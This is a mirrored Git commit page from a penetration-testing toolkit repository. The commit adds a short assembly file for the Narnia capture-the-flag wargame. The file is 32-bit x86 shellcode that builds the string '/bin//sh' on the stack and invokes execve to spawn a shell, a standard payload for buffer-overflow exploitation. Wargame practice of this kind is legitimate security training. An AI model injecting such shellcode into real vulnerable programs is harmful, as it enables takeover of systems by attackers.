mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-07-21 14:18:42 -04:00
some small fixes
This commit is contained in:
parent
ab70b811db
commit
a50737bc6b
63 changed files with 8 additions and 19 deletions
14
CTFs_and_WarGames/WARGAMES/narnia/shellspawn.asm
Normal file
14
CTFs_and_WarGames/WARGAMES/narnia/shellspawn.asm
Normal file
|
@ -0,0 +1,14 @@
|
|||
BITS 32
|
||||
|
||||
xor eax, eax ; zero eax
|
||||
push eax ; null terminate the string
|
||||
push 0x68732f2f ; push //sh (// is same as / for our purpose)
|
||||
push 0x6e69622f ; push /bin
|
||||
mov ebx, esp ; pass first argument using ebx
|
||||
push eax ; third argument is empty
|
||||
mov edx, esp
|
||||
push eax ; second argument is empty
|
||||
mov ecx, esp
|
||||
mov al, 11 ; execve is system call #11
|
||||
int 0x80 ; issue an interrupt
|
||||
|
Loading…
Add table
Add a link
Reference in a new issue